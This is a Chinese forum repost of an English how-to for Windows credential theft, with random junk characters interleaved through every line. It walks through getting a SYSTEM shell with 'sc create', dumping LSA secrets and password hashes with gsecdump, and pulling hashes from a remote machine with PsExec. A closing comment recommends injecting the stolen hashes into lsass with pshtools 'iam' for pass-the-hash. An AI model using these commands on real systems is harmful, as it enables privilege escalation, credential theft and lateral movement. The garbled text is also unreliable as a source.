o get a DOS Prompt as NT system:
0 h8 d% _8 X) J! Z5 y% m& d5 i* e% N: A* u
C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact. Q% ?; W0 p+ ^- {) L' C8 Q* V
[SC] CreateService SUCCESS
# L% h2 Z0 c7 F+ ~$ T8 y) B+ G, g L" D& P3 ?0 q0 @5 b1 Z
C:\>sc start shellcmdline
7 E d6 T1 M- C r[SC] StartService FAILED 1053:
1 z" p& e% \9 U/ v% \) T# t
' V, A w, k1 z. Z8 C7 |. O5 E4 L4 kThe service did not respond to the start or control request in a timely fashion.
! K: b0 j! V. R
. q, v# S* y. @8 oC:\>sc delete shellcmdline
A% I: A! ]$ F. Z: b[SC] DeleteService SUCCESS
4 [+ K" v- w5 [% O Q& n8 @. D6 G! h
------------
) ?# j" o. `$ C! h& z& r' B5 Y: I
Then in the new DOS window:% h0 @2 T: P( ]; v
( s7 v0 ?! P/ B. u; d9 ^8 t9 ~
Microsoft Windows XP [Version 5.1.2600]
8 I, L' a& E* h2 `* w(C) Copyright 1985-2001 Microsoft Corp.( l. h: k+ t: N5 A
) l, T3 G8 K$ Y" w
C:\WINDOWS\system32>whoami9 `$ D* g4 e$ s% j
NT AUTHORITY\SYSTEM d/ B5 a2 w% b* C/ m; u) h
* K# O% f1 O$ W+ N* K) aC:\WINDOWS\system32>gsecdump -h
; t9 s% v/ B8 I& |gsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)* E: }2 N0 Y' F* V# K/ ]2 U
usage: gsecdump [options]/ `" ^/ S8 S" X) D% ]! v& Q* @
9 i8 h0 o3 `1 x" \$ i( |$ x* Aoptions:) d M$ q2 I+ M8 p9 A* }
-h [ --help ] show help
- G9 a: v& `4 t ^- Y' l; z-a [ --dump_all ] dump all secrets4 W" Q8 s5 d- B; G" s% D9 H
-l [ --dump_lsa ] dump lsa secrets5 q+ a/ ^3 s- Y. E2 `# c7 O
-w [ --dump_wireless ] dump microsoft wireless connections/ g3 I9 F" h0 P: }& @* q
-u [ --dump_usedhashes ] dump hashes from active logon sessions
( `% `. q G; s' V, i( g) M-s [ --dump_hashes ] dump hashes from SAM/AD# J4 H3 J) r/ G
M; W4 |/ n' S5 [
Although I like to use:
u( w4 X* ~& q( t4 A7 o
, \7 [' k4 r: {: s0 @PsExec v1.83 - Execute processes remotely
: T6 K7 F* u5 @0 L g- \2 wCopyright (C) 2001-2007 Mark Russinovich
! U4 I; |1 X$ s( T: Q! Q7 gSysinternals - 链接标记[url]www.sysinternals.com[/url]
! L' G6 V) f+ k% N. o, ]8 @9 v# U; ?5 K
C:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT
# L/ z8 ?" R" N2 `
: G _: k* J$ s/ h# V$ ?to get the hashes from active logon sessions of a remote system.$ }8 a( Z! {& b* a
6 f4 S( ~, @; Y, Y1 e @( C8 g5 ~These are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.
& m1 k' @" g; X: L) k# U7 b$ C3 `& l: @8 Z- E7 N
提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
* K+ {; o. V3 k# d/ h: v' J原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]: o- O: N+ N" _& [: u% w0 U
4 }. i3 C$ h5 G U8 e9 l
我看了下原文出处,貌似是/2007/03/16/郁闷啊,差距。& @ c) x5 g: b! ?3 f* A: A% K
|